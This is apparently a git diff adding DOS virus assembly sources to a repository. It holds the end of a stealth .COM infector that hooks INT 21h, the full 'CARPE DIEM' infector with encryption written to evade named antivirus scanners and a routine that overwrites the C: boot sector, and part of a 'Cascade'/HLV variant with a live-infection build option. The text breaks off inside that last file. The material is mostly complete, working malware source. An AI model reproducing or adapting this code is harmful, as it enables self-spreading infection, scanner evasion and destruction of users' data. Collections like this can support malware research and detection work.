pop ds + pop es + + pop si + mov di,100h + push di + jmp $ + 2 + movsw + movsw + jmp $ + 2 + movsb + + mov cx,0FFh + mov si,100h + ret ; exit to host + +newint21: pushf + cmp ah,11h ; any "dir" user access of file control + je stealth_entry ; block must come through virus + cmp ah,12h ; next file directory handler + je stealth_entry + + cmp ax,0ABCDh ; we need this so that when the virus + jne not_virus_input ; is controlling things, on + popf ; file infect it doesn't go + clc ; and subtract another length + retf 2 ; increment from the directory + ; entries of infected files. + ; although an amusing effect, + ; reducing the filesize of all + ; infected files as reported + ; by DIR one virus length everytime + ; the virus infects ANY file is + ; counter-productive +not_virus_input: + cmp ax,4B00h ; is a program being loaded? + je check_infect ; try to infect + cmp ah,3Dh ; is a file being opened? + je start_open_infect ; if so, get address + jne not_4B00 ; exit if not + +stealth_entry: + + popf + call int21 ; look to virus "stealth" + pushf ; routine + call stealth_begin + +cycle_dirstealth: + popf ; remove word from the stack + iret ; and return from interrupt + ; to where we were before pulling +stealth_begin: ; stealth trick + push ax ; the following essentially massages the + push bx ; file control block on directory scans, + push dx ; subtracting the virus size from infected + push es ; files before the user sees it + ; stack setup saves everything + mov ah,2Fh ; get disk transfer address + call int21 ; + + add bx,8 + +normalize_direntry: + + mov al,byte es:[bx+16h] ; retrieve seconds data + and al,1fh ; from observed file, if it's + xor al,1fh ; 31, the file is infected + jnz no_edit_entry ; not 31 - file not infected + mov ax,word es:[bx+1Ch] + mov dx,word es:[bx+1Ch+2] + sub ax,size ; subtract virus length from + sbb dx,0 ; infected file + jc no_edit_entry ; no files? exit + mov word es:[bx+1Ch],ax + mov word es:[bx+1Ch+2],dx +no_edit_entry: ; restore everything as normal + pop es ; + pop dx + pop bx + pop ax + ret + +start_open_infect: + + mov word ptr cs:[fileseg],dx + mov word ptr cs:[fileseg+2h],ds ; save segment:offset of + ; file being opened so it + ; can be infected, too +check_infect: push ax ; push everything onto stack + push bx + push cx + push dx + push ds + push bp + + mov ax,4300h ; get file attributes of potential host + call int21 + jc back1 ; failed? exit + mov cs:old_attr,cx ; put attributes here + + + mov ax,4301h ; set new file attributes, read or write + xor cx,cx + call int21 ; do it + jc back1 ; error? exit + + push dx + push ds + call infect ; call infection subroutine + pop ds + pop dx + + mov ax,4301h ; same as above + db 0B9h ; hand code mov CX, +old_attr dw 0 + call int21 + +back1: ; if the attrib-get fails + pop bp ; pop everything off stack + pop ds + pop dx + pop cx + pop bx + pop ax + + +not_4B00: + +back: popf + db 0EAh ; <--------- return to virus exit to host + +oldint21 dw 0,0 + +int21: pushf + call dword ptr cs:oldint21 ; <--interrupt handler + ret + +infect: mov ax,3D02h ; open host file with read/write access + call int21 + jnc okay_open + ret ; was there an error? exit + +okay_open: xchg bx,ax + mov ax,5700h ; get file date and file time + call int21 + + push cx + mov bp,sp + push dx + + mov al,cl ; retrieve seconds data from file one + or cl,1fh ; more time + xor al,cl ; if it's 31 (1fh), we get a zero + jz close ; and the file is already infected + + mov ah,3Fh ; read first five bytes from potential host + mov cx,5 + mov dx,offset host ; store them here + push cs + pop ds + call int21 + jc close ; error, exit? + cmp al,5 ; get the five bytes? + jne close ; no, so exit + + cmp word host[0],'ZM' ; check, is this an .EXE file? + je close ; yes, so no infection + cmp host[0],0E9h ; does it start with a jump? + je infect_host ; yes - infect. Here's a + ; subtle point. MUST look for 0e9h + ; or file is not .EXE, not marked + ; virus time-stamp, infection will +close: ; result in the virus adding itself + ; to almost anything loaded or + pop dx ; opened which is not an .EXE or + pop cx ; .OVL. The result would be a hang. + mov ax,5701h ; reset file date and time + call int21 + mov ah,3Eh ; close file + call int21 + ret ; exit + +infect_host: mov ax,4202h ; reset pointer to end of file + xor cx,cx ; a standard appending infection + xor dx,dx ; routine which is suitable + call int21 ; for most resident .COM infecting + ; viruses + or dx,dx + jnz close + + + dec ax + dec ax + dec ax + + mov word ptr putjmp[1],ax + + mov ah,40h ; write virus to the target file + mov cx,size ; length in cx + mov dx,100h + call int21 + jc close + + mov ax,4200h ; set file pointer to beginning of host + xor cx,cx + xor dx,dx + call int21 + + mov ah,40h ; write the first five bytes of the + mov cx,5 ; viral jump and vanity string to the + mov dx,offset putjmp ; beginning of the host file + call int21 + + or byte ss:[bp],31 ; set the seconds field to 31, so the + ; "stealth" routine has its cue + jmp close ; close the file and clean up + + + + +putjmp db 0E9h ; <----- data, jump and vanity sig for + dw 0 ; virus to copy to beginning of host + db 'UK' + + + +fileseg dd ? ; <--- buffer for seg:off of files + ; opened by user activated programs + + +mark: ; <-----end of virus + +size equ $-100h ; +pargrph equ ($+16)/16 ; virus size in memory in 16-byte + ; paragraphs + + + code ends + end begin + + diff --git a/c/CARPDIEM.ASM b/c/CARPDIEM.ASM new file mode 100755 index 0000000..8514693 --- /dev/null +++ b/c/CARPDIEM.ASM @@ -0,0 +1,292 @@ +; VirusName : CARPE DIEM! - Seize the day +; Origin : Sweden +; Author : Raver +; Date : 16/11/93 + +; Well this is my (Raver's) first scratch virus. +; This virus is mainly made for educational purpose (my own!). +; It's pretty well commented in an easy way so even you folks +; with little experience with assembler should be able to follow +; the code! + +; It's a pretty simple non-overwriting .com-infector with a harmless +; nuking routine. It clears and restores the file attributes and +; date/time stamp and finds and infects files using the dot-dot method. +; An encryption routine and some "unusual" instructions are included to +; avoid detection by the common virus scanners. At release date, see +; above, neither F-prot nor Tb-scan found traces of virus code! + +; There is about a 5 percent chance that the nuking routine will be +; activated, it checks the system time for 1/100 of a second. If it's +; activated it'll overwrite the first sector on the fixed disk (c:) +; which contains the boot sector. This might seem cruel but, infact, +; it's quite harmless 'cause norton utilities and other programs +; easily restore the boot sector. It's there just to make inexperienced +; users (lamers!) nervous! + +; ----------- +; CARPE DIEM! - Seize the day +; ----------- + +cseg segment byte public 'code' + assume cs:cseg, ds:cseg + + org 100h + +start_of_virus: ;entry point + call get_off ;this somewhat unusual code won't +get_off: ;produce a flexible entry point flag + mov si,sp ;get the delta offset + mov bp,word ptr ss:[si] ;offset is on top of stack + sub bp,offset get_off ;put it in bp + inc sp ;restore sp to it's original + inc sp + +; call encrypt_decrypt ;decrypt the contents of the program + mov ax,bp ;use alternative code - otherwise + add ax,116h ;f-prot will recognize it as Radyum!!!! + push ax + jmp encrypt_decrypt + jmp encrypted_code_start ;jmp to the (en/de)crypted virus area + + +encryption_value dw 0 ;random value for encryption routine + + +write_virus_to_file: ;proc to append virus code to file + + call encrypt_decrypt ;encrypt the virus before write + + mov cx,offset end_of_virus-100h ;length of virus to be written + lea dx,[bp] ;write from start + mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of + inc ah ;file length in DTA. Is + add dx,ax ;always 0 in .com-files. + mov ah,40h ;Use this trick to fool + int 21h ;heuristic searches. + ;dx = delta offset+100h + call encrypt_decrypt ;decrypt the code for + ret ;further processing. + + +encrypt_decrypt: ;proc to (en/de)crypt the code + mov dx,word ptr [bp+encryption_value] ;use random number for every + lea si,[bp+encrypted_code_start] ;new infection + mov cx,(end_of_virus-encrypted_code_start+1)/2 + +crypt_loop: ;xor the whole virus code + xor word ptr [si],dx ;between encrypted_code_start + add si,2 ;and end_of_virus + loop crypt_loop + + ret + +; ----------- +; Here the part that will be encrypted starts, i.e. all code +; except the encryption routine and the routine to append virus +; to file. +; ----------- + +encrypted_code_start: + + cld + + mov ah,1ah ;Set DTA Transfer area to after + lea dx,[bp+end_of_virus] ;after the end of file to save file + int 21h ;size. Note: do not use default 80h + ;as DTA area since the parameters to + ;the "real" program will be overwritten! + + lea si,[bp+orgbuf] ;Transfer buffer contents + lea di,[bp+orgbuf2] ;to be restored to the beginning + mov cx,2 ;for restart of the "real" program + rep movsw + + mov di,2 ;Infection counter, 2 files every run + + mov ah,19h ;get current drive + int 21h + cmp al,2 ;check if a: or b: + jae get_cur_dir ;if so, skip infection. Otherwise + jmp no_more_files ;the user will most likely get + ;quite suspicious +get_cur_dir: + mov ah,47h ;get starting directory + xor dl,dl ;it will be changed by the + lea si,[bp+end_of_virus+2ch] ;dot-dot method later on + int 21h + +find_first: ;start finding the first .com file + mov cx,7 ;in every new dir + lea dx,[bp+filespec] + mov ah,4eh + int 21h + jnc clear_attribs ;successive? + + call ch_dir ;no more files in dir. change dir + jmp find_first ;start over again + ;otherwise jmp + +find_next: ;this is the upper point of the find + mov ah,4fh ;files loop in a dir + int 21h + jnc clear_attribs + + call ch_dir ;no more files in dir. change dir + jmp find_first ;start over again + +clear_attribs: ;set the file attribute to 0 + mov ax,4301h + xor cx,cx + lea dx,[bp+end_of_virus+1eh] + int 21h + +open_file: ;open file to be infected + mov ax,3d02h +; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs + int 21h + + xchg ax,bx ;Put file handle in bx + +read_file: ;read first four bytes of file + mov ah,3fh ;They will be restore to the start + mov cx,4 ;after the virus is finnished + lea dx,[bp+orgbuf] ;so the program can execute + int 21h + +check_already_infected: ;check the first to bytes and check + mov si,dx ;if the file is already infected + lea si,[bp+orgbuf] + cmp word ptr [si],0e990h + je already_infected ;if so, jmp + + cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com + jz already_infected ;if so, don't infect + + mov ax,word ptr [bp+end_of_virus+1ah] ;check file size + cmp ax,500 ;and skip short and + jb already_infected ;long files + cmp ax,64000 + ja already_infected + + + mov ax,4202h ;get lenght of initial jmp in ax + xor cx,cx + xor dx,dx + int 21h + + sub ax,4 ;subtract the first four bytes, which + ;will be overwritten + + mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop + mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning + ;notice the reversed order! + + mov ax,4200h ;move to beginning of file + int 21h + + mov ah,40h ;write the new instructions + mov cx,4 + lea dx,[bp+startbuf] + int 21h + + mov ax,4202h ;move to end of file + xor cx,cx + xor dx,dx + int 21h + + mov ah,2ch ;get a random number from + int 21h ;system clock for the + mov word ptr [bp+encryption_value],dx ;encryption routine + call write_virus_to_file ;append the virus code + jmp restore_time_date + +already_infected: ;if already encrypted increase + inc di ;infection counter with one + +restore_time_date: ;restore file time & date + lea si,[bp+end_of_virus+16h] + mov cx,word ptr [si] + mov dx,word ptr [si+2] + mov ax,5701h + int 21h + +close_file: ;close the file handle + mov ah,3eh + int 21h + +set_old_attrib: ;restore the old file attrib + mov ax,4301h + xor ch,ch + mov cl,byte ptr [bp+end_of_virus+15h] + lea dx,[bp+end_of_virus+1eh] + int 21h + + dec di ;decrease infection counter + cmp di,0 ;and check if infection is + jbe no_more_files ;completed + jmp find_next + +no_more_files: + + mov ah,2ch ;get a new random number + int 21h ;5% chance of nuke + cmp dl,5 + ja restore_start ;above 5 no nuke + + mov ax,0301h ;trash the bootsector of c: + mov cx,0001h ;This might seem cruel but + mov dx,0080h ;norton and other programs + lea bx,[bp+start_of_virus] ;easily fix it. It's just + int 13h ;to make the user nervous!! + + mov ah,09h ;deliver a message too + lea dx,[bp+signature] + int 21h + + +restore_start: ;copy the four saved bytes to + lea si,[bp+orgbuf2] ;beginning of file in memory + mov di,100h + movsw + movsw + + +restore_dir: ;change back to original + lea dx,[bp+end_of_virus+2ch] ;dir + mov ah,3bh + int 21h + +exit_proc: ;return to start of program + mov bx,100h ;This will be enrypted in + push bx ;infected files, so anti-vir + ;progs won't complain. + xor ax,ax ;for org virus to push on + retn ;the stack for ret + + +ch_dir: + lea dx,[bp+dot_dot] ;use dot-dot method + mov ah,3bh + int 21h + jnc no_err ;sub dir existed + pop ax ;otherwise all files are checked. exit! + jmp no_more_files ;pop the ip pointer from the stack +no_err: ;and jump to the end part + ret + +signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$' +country db " Sweden 16/11/93" +filespec db '*.com',0 +dot_dot db '..',0 +orgbuf db 90h,90h,50h,0c3h ;instructions to exit the +orgbuf2 db 4 dup(0) ;scratch after infection +startbuf db 4 dup(0) ;nop,nop,push ax,ret +end_of_virus: +; ----------- +; The virus code ends here but the point below here (the heap) +; is used to store temporary variables such as the dta-area and +; the starting directory +; ----------- +cseg ends + end start_of_virus \ No newline at end of file diff --git a/c/CASCADE (33).ASM b/c/CASCADE (33).ASM new file mode 100755 index 0000000..50095b0 --- /dev/null +++ b/c/CASCADE (33).ASM @@ -0,0 +1,1188 @@ +PAGE 62,132 +TITLE _HLV_ +SUBTTL Layout (C) 1990 164A12565AA18213165556D3125C4B962712 +.RADIX 16 +.LALL + +TRUE EQU 1 +FALSE EQU 0 + +MONTH EQU 9D +YEAR EQU 1991D + +DEMO EQU TRUE + +SWITCHABLE = TRUE +IFDEF _NOSWITCH +SWITCHABLE = FALSE +ENDIF + +comment # +ͻ + + ===================== + H E R B S T L A U B + ===================== + + + SPRACHE: MASM 4.00 (+) [ frhere Versionen brechen z.B. mit + (not v6.00 ! ) *OUT OF MEMORY* (3.00) ab oder lassen + sogar den PC abstrzen (1.10) ] + + ( Eine als Beispiel gedachte Batchdatei zur Steuerung der bersetzung + ist am Ende dieses Quelltextes als Kommentar hinzugefgt. ) + +ͼ +Ŀ + Whrend der bersetzung zu auszugebende Meldungen, 1. Teil. + +# +IF1 +REPT 50 +%Out +ENDM; +%Out ͻ +%Out +%Out Ŀ +%Out Ĵ H E R B S T L A U B İ +%Out ٰ +%Out +ENDIF +comment # +Ŀ + Einige Assembler - Makros. + +# ; +MSDOS MACRO ; + INT 21 ; + ENDM ; +Wait_HRI_or_VRI MACRO ; + LOCAL _X_1, _X_2, _X_3 ; + MOV DX,03DA ; + CLI ; + _X_1: IN AL,DX ; + TEST AL,08 ; + JNZ _X_3 ; + TEST AL,01 ; + JNZ _X_1 ; + _X_2: IN AL,DX ; + TEST AL,01 ; + JZ _X_2 ; + _X_3 LABEL NEAR ; + ENDM ;------; +SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + PUSHF ; + ELSE ; + PUSH _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ;------; +REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ; + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ; + IFNB <_X> ;------; + IFIDN <_X>, ; + POPF ; + ELSE ; + POP _X ; + ENDIF ; + ENDIF ; + ENDM ; + ENDM ; +MOV_S MACRO S1,S2 ; + PUSH S2 ; + POP S1 ; + ENDM ; + comment # +Ŀ + Start des Code-Segments, Segment Prefix Bytes werden n i c h t au- + tomatisch durch den Assembler erzeugt. + + # ; +TEXT SEGMENT ; + ASSUME CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ; + comment # +Ŀ + Einige das Verstndnis erleichternde Definitionen. + + # ; +NearJmp EQU 0E9 ; +PORT_B_8259A EQU 20 ; +EOI_8259A EQU 20 ; +PORT_B_8255 EQU 61 ; +FIRSTCONST EQU 0131 ; +FIRSTBASE EQU FIRSTCONST - OFFSET XI_001 ;-----; +FIRSTBASE2 EQU (FIRSTCONST + OFFSET XI_005 - XI_001) ; +DeCrptd EQU 0 ;-----; +EnCrptd EQU 1 ; +BIOSDATASEG EQU 040 ; +MonoBase EQU 0B000 ; +ColorBase EQU 0B800 ; +B_VIDPAGE EQU THIS WORD + 04E ; +B_TIMERVAR EQU THIS WORD + 06C ; +TimerInt EQU 1C ; +DOS EQU 21 ; +DOS_multi EQU 2F ; +MS_SetDTA EQU 1A ; + DTA_in_PSP EQU 80 ; +MS_SetInt EQU 25 ; +MS_GetDateTime EQU 2A ; +MS_GetVer EQU 30 ; + DOS_v_02 EQU 2 ; +MS_GetInt EQU 35 ; +MS_Open EQU 3Dh ; + Read_Only EQU 0 ; + Read_Write EQU 2 ; +MS_Close EQU 3E ; +MS_Read EQU 3F ; +MS_Write EQU 40 ; +MS_MoveFP EQU 42 ; + OfsFrmTop EQU 0 ; + OfsFrmEnd EQU 02 ; +MS_GetFileAttr EQU 4300 ; +MS_SetFileAttr EQU 4301 ; + Attr_A EQU 20 ; + Attr_SHR EQU 7 ; + Attr_ASHR EQU Attr_A OR Attr_SHR ; +MS_AllocMem EQU 48 ; +MS_ReleaseMem EQU 49 ; + MemCBsig EQU THIS BYTE + 0 ; + MemCBowned EQU THIS WORD + 1 ; + MemCBsize EQU THIS WORD + 3 ; +MS_Exec EQU 4Bh ; + MS_Exec_SF0 EQU 0 ; + Virus_fun EQU 0ffh ; + Virus_Sig EQU 55AA ; +MS_SetPSP EQU 50 ; + PSPsize EQU 00100 ; + PSPCurCom EQU THIS WORD + 016 ; + PSPEnv EQU THIS WORD + 02C ; + PSP_SegJFB EQU THIS WORD + 036 ; + NoEnv EQU 0 ; +MS_GetFileDate EQU 5700 ; +MS_SetFileDate EQU 5701 ; +PSP_100 EQU THIS WORD + PSPsize ; +PSP_102 EQU THIS BYTE + PSPsize + 2 ; + comment # +Ŀ + Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1. + + # ; +Crypt1 DB 0 ; +Crypt2 EQU OFFSET Crypt1 + FIRSTBASE ; +Crypt3 EQU Crypt1 + PSPsize ; + comment # +Ŀ + Einsprungstelle, entschlsseln des Virus falls notwendig. + + # ; +XI_000: CLI ; + MOV BP,SP ; + CALL XI_001 ; +XI_001: POP BX ; + SUB BX,FIRSTCONST ; + TEST BYTE PTR CS:[BX+Crypt2],EnCrptd ; + JZ XI_003 ; + LEA SI,[BX + XR_000] ; + MOV SP,OFFSET EOFC-OFFSET XI_003 ; +XI_002: XOR [SI],SI ; + XOR [SI],SP ; + INC SI ; + DEC SP ; + JNZ XI_002 ; +XI_003 LABEL NEAR ; + XR_000 EQU OFFSET XI_003 + FIRSTBASE ; + XR_001 EQU XI_003 + PSPsize ; + MOV SP,BP ; + JMP SHORT XI_004 ; + comment # +Ŀ + Datenbereich 2. + + # ; + XD_000 DW PSPsize ; +Disp_to_com_1 EQU OFFSET XD_000 + FIRSTBASE ; + XD_001 DW 9090 ; +Disp_to_com_2 EQU OFFSET XD_001 + FIRSTBASE ; + XD_002 DW 9090 ; +Initial_AX EQU OFFSET XD_002 + FIRSTBASE ; + XD_003 EQU THIS WORD ; + XD_004 EQU THIS BYTE + 2 ; + NOP ; + NOP ; + NOP ; +Org1stInstr_s1 EQU OFFSET XD_003 + FIRSTBASE ; +Org1stInstr_t1 EQU XD_003 + PSPsize ; +Org1stInstr_t2 EQU XD_003 + PSPsize + 1 ; +Org1stInstr_s2 EQU OFFSET XD_004 + FIRSTBASE ; + XD_005 DW 2 dup ( 9090 ) ; +Org_Int_1C EQU XD_005 + PSPsize ; + XD_006 DW 2 dup ( 9090 ) ; +Org_int_21s EQU OFFSET XD_006 + FIRSTBASE ; +Org_Int_21t EQU XD_006 + PSPsize ; + ; +IF SWITCHABLE ; + ; + XD_007 DW 2 dup ( 9090 ) ; +Org_Int_2F EQU XD_007 + PSPsize ; + XD_008 DB 5, "_HLV_ " ; +Cmd_2F EQU XD_008 + PSPsize ; + XD_009 DB 'HLV is on',0Dh,0Ah,'$' ; +Msg_On EQU XD_009 + PSPsize ; + XD_010 DB 'HLV is off',0Dh,0Ah,'$' ; +Msg_Off EQU XD_010 + PSPsize ; + ; +ENDIF ; + ; + XD_011 DW 9090 ; +File_Attributes EQU XD_011 + PSPsize ; + XD_012 DW 9090 ; +File_Date EQU XD_012 + PSPsize ; + XD_013 DW 9090 ; +File_Time EQU XD_013 + PSPsize ; + XD_014 DW 2 dup ( 9090 ) ; +Pathname EQU XD_014 + PSPsize ; + XD_015 DW 2 dup ( 9090 ) ; +File_Size_lsb EQU XD_015 + PSPsize ; +File_Size_msb EQU XD_015 + PSPsize + 2 ; + XD_016 DB NearJmp ; +FirstOpCode_1 EQU XD_016 + PSPsize ; + XD_017 DW 9090 ; +FirstOpCode_2 EQU XD_017 + PSPsize ; + XD_018 DB 90 ; +Num_of_Col EQU XD_018 + PSPsize ; + XD_019 DB 90 ; +Last_Line EQU XD_019 + PSPsize ; + XD_020 DB 90 ; +Prevent_Snow? EQU XD_020 + PSPsize ; +Last_Pair EQU THIS WORD + PSPsize ; + XD_021 DB 90 ; + XD_022 DB 90 ; +Last_Char EQU XD_021 + PSPsize ; +Last_Attr EQU XD_022 + PSPsize ; +RecTyp1 RECORD ExtCom:1, Recf_1:1, R_in_1c:1 ; + XD_023 RecTyp1 <0,0,0> ; +ISR_Flags EQU XD_023 + PSPsize ; + XD_024 DW 9090 ; +Seg_of_VRAM EQU XD_024 + PSPsize ; + XD_025 DW 9090 ; +Page_offset EQU XD_025 + PSPsize ; + XD_026 DW 9090 ; +Speed EQU XD_026 + PSPsize ; + XD_027 DW 9090 ; +XR_002 EQU XD_027 + PSPsize ; + XD_028 DW 9090 ; +XR_003 EQU XD_028 + PSPsize ; + XD_029 DW 9090 ; +Num_of_char EQU XD_029 + PSPsize ; + XD_030 DW 9090 ; +XR_004 EQU XD_030 + PSPsize ; + XD_031 DW 7 dup ( 9090 ) ; +FirstRandom EQU XD_031 + PSPsize ; +LastRandom EQU This Word + PSPsize ; + DW 9090 ; + comment # +Ŀ + Installieren u. relozieren falls notwendig. + + # ; +XI_004: CALL XI_005 ; +XI_005 LABEL NEAR ; +XR_005 EQU XI_005 + PSPsize ; + POP BX ; + SUB BX,FIRSTBASE2 ; + MOV CS:[BX+Disp_to_com_2],CS ; + MOV CS:[BX+Initial_AX],AX ; + MOV AX,CS:[BX+Org1stInstr_s1] ; + MOV [PSP_100],AX ; + MOV AL,CS:[BX+Org1stInstr_s2] ; + MOV [PSP_102],AL ; + PUSH BX ; + MOV AH,MS_GetVer ; + MSDOS ; + POP BX ; + CMP AL,DOS_v_02 ; + JB XI_006 ; + MOV AX,MS_Exec * 100 + Virus_fun ; + XOR DI,DI ; + XOR SI,SI ; + MSDOS ; + CMP DI,Virus_sig ; + JNZ XI_007 ; +XI_006: STI ; + MOV_S ES,DS ; + MOV AX,CS:[BX+Initial_AX] ; + JMP DWORD PTR CS:[BX+Disp_to_com_1] ; +XI_007: PUSH BX ; + MOV AX,MS_GetInt * 100 + DOS ; + MSDOS ; + MOV AX,BX ; + POP BX ; + MOV CS:[BX+Org_int_21s],AX ; + MOV CS:[BX+Org_int_21s + 2],ES ;------------; + MOV AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ; + MOV BP,CS ;------------; + DEC BP ; + MOV ES,BP ; + MOV SI,CS:[PSPCurCom] ; + MOV ES:[MemCBowned],SI ; + MOV DX,ES:[MemCBsize] ; + MOV ES:[MemCBsize],AX ; + MOV ES:[MemCBsig],'M' ; + SUB DX,AX ; + DEC DX ; + INC BP ; + ADD BP,AX ; + INC BP ; + MOV ES,BP ; + PUSH BX ; + MOV AH,MS_SetPSP ; + MOV BX,BP ; + MSDOS ; + POP BX ; + XOR DI,DI ; + MOV_S SS,ES ; + PUSH DI ; + LEA DI,[BX+XR_010] ; + MOV SI,DI ; + MOV CX,OFFSET EOFC ; + STD ; + REPZ MOVSB ; + PUSH ES ; + LEA CX,[BX+XR_006] ; + PUSH CX ; + RETF ; +XI_008 LABEL NEAR ; +XR_006 EQU OFFSET XI_008 + FIRSTBASE ; + MOV CS:[BX+Disp_to_com_2],CS ; + LEA CX,[BX+Crypt2] ; + REPZ MOVSB ; + MOV CS:[PSP_SegJFB],CS ; + DEC BP ; + MOV ES,BP ; + MOV ES:[MemCBsize],DX ; + MOV ES:[MemCBsig],'Z' ; + MOV ES:[MemCBowned],CS ; + INC BP ; + MOV ES,BP ; + MOV_S ES,DS ; + MOV_S DS,CS ; + LEA SI,[BX+Crypt2] ; + MOV DI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + PUSH ES ; + LEA AX,[XR_007] ; + PUSH AX ; + RETF ; +XI_009 LABEL NEAR ; +XR_007 EQU XI_009 + PSPsize ; + MOV CS:[PSPEnv],NoEnv ; + MOV CS:[PSPCurCom],CS ; + PUSH DS ; + LEA DX,[XR_008] ; + MOV_S DS,CS ; + MOV AX,MS_SetInt * 100 + DOS ; + MSDOS ; + POP DS ; + MOV AH,MS_SetDTA ; + MOV DX,DTA_in_PSP ; + MSDOS ; + SAVE DS,ES,SI,DI,CX ; + MOV_S ES,CS ; + MOV CX,BIOSDATASEG ; + MOV DS,CX ; + MOV DI,OFFSET FirstRandom ; + MOV SI,OFFSET B_TIMERVAR ; + MOV CL,8 ; + CLD ; + REPZ MOVSW ; + REST CX,DI,SI,ES,DS ; + ; +IF SWITCHABLE ; + ; + PUSH DS ; + MOV AX,MS_GetInt * 100 + DOS_multi ; + MSDOS ; + MOV CS:[Org_Int_2F],BX ; + MOV CS:[Org_Int_2F + 2],ES ; + MOV AX,MS_SetInt * 100 + DOS_multi ; + MOV DX,offset Int_2F_ISR ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; + ; +ENDIF ; + ; + OR CS:[ISR_Flags],MASK ExtCom ; + MOV AH,MS_GetDateTime ; + MSDOS ; + CMP CX,YEAR ; + JZ XI_010 ; + JMP SHORT XI_011 ; +XI_010: CMP DH,MONTH ; + JB XI_011 ; + AND CS:[ISR_Flags],NOT MASK ExtCom ; +XI_011: MOV AX,1518 ; + CALL Random ; + INC AX ; + MOV CS:[XR_002],AX ; + MOV CS:[XR_003],AX ; + MOV CS:[XR_004],1 ; + MOV AX,MS_GetInt * 100 + TimerInt ; + MSDOS ; + MOV CS:[Org_Int_1C],BX ; + MOV CS:[Org_Int_1C + 2],ES ; + PUSH DS ; + MOV AX,MS_SetInt * 100 + TimerInt ; + MOV DX,OFFSET XR_009 ; + MOV_S DS,CS ; + MSDOS ; + POP DS ; +XI_012: MOV BX,OFFSET XR_005 - (FIRSTBASE2) ; + JMP XI_006 ; + comment # +Ŀ + Neue Interrupt 21(h) Behandlungsroutine ( verndert Exec - Funktion ). + + # ; +XI_013 LABEL NEAR ; +XR_008 EQU XI_013 + PSPsize ; + CMP AH,MS_Exec ; + JZ XI_016 ; +XI_014: JMP DWORD PTR CS:[Org_Int_21t] ; +XI_015: MOV DI,Virus_Sig ; + LES AX,CS:DWORD PTR [Org_Int_21t] ; + MOV DX,CS ; + IRET ; +XI_016: CMP AL,Virus_fun ; + JZ XI_015 ; + CMP AL,MS_Exec_SF0 ; + JNZ XI_014 ; + SAVE F,AX,BX,CX,DX,SI,DI,BP,ES,DS ; + MOV CS:[Pathname],DX ; + MOV CS:[Pathname + 2],DS ; + MOV_S ES,CS ; + MOV AX,MS_Open * 100 + Read_Only ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_GetFileDate ; + MSDOS ; + MOV CS:[File_Date],DX ; + MOV CS:[File_Time],CX ; + MOV AH,MS_Read ; + MOV_S DS,CS ; + MOV DX,OFFSET Org1stInstr_t1 ; + MOV CX,3 ; + MSDOS ; + JB XI_018 ; + CMP AX,CX ; + JNZ XI_018 ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + MOV CS:[File_Size_lsb],AX ; + MOV CS:[File_Size_msb],DX ; + MOV AH,MS_Close ; + MSDOS ;---------------; + CMP CS:[Org1stInstr_t1], 'Z' * 100 + 'M' ; + JNZ XI_017 ; + JMP XI_025 ; +XI_017: CMP CS:[File_Size_msb],+0 ; + JA XI_018 ; + CMP CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ; + JBE XI_019 ; +XI_018: JMP XI_025 ; +XI_019: CMP BYTE PTR CS:[Org1stInstr_t1],NearJmp ; + JNZ XI_020 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,OFFSET Crypt1 - offset EOFC - 2 ; + CMP AX,CS:[Org1stInstr_t2] ;---------------; + JZ XI_018 ; + ; +IF DEMO ; +XI_020: CALL DEMO_Infect ; + JMP XI_025 ; + ; +IF2 ;----------------; +%Out ͻ +%Out Demo - Version, +%Out k e i n Virus. +ENDIF ;----------------; +ELSE ; +IFDEF _DANGER ; +XI_020 MOV AX,MS_GetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; + JB XI_018 ; + MOV CS:[File_Attributes],CX ; + XOR CL,Attr_A ; + TEST CL,Attr_ASHR ; + JZ XI_021 ; + MOV AX,MS_SetFileAttr ; + XOR CX,CX ; + MSDOS ; + JB XI_018 ; +XI_021: MOV AX,MS_Open * 100 + Read_Write ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + CALL Append_Virus ; + JNB XI_022 ; + MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + MOV CX,CS:[File_Size_msb] ; + MOV DX,CS:[File_Size_lsb] ; + MSDOS ; + MOV AH,MS_Write ; + XOR CX,CX ; + MSDOS ; + JMP SHORT XI_023 ; +XI_022: MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + JB XI_023 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,-2 ; + MOV CS:[FirstOpCode_2],AX ; + MOV AH,MS_Write ; + MOV DX,OFFSET FirstOpCode_1 ; + MOV CX,3 ; + MSDOS ; +XI_023: MOV AX,MS_SetFileDate ; + MOV DX,CS:[File_Date] ; + MOV CX,CS:[File_Time] ; + MSDOS ; + MOV AH,MS_Close ; + MSDOS ; + MOV CX,CS:[File_Attributes] ; + TEST CL,Attr_SHR ; + JNZ XI_024 ; + TEST CL,Attr_A ; + JNZ XI_025 ; +XI_024: MOV AX,MS_SetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; +IF2 ;----------------; +%Out ͻ +%Out KEIN DEMO, +%Out scharfer Virus. 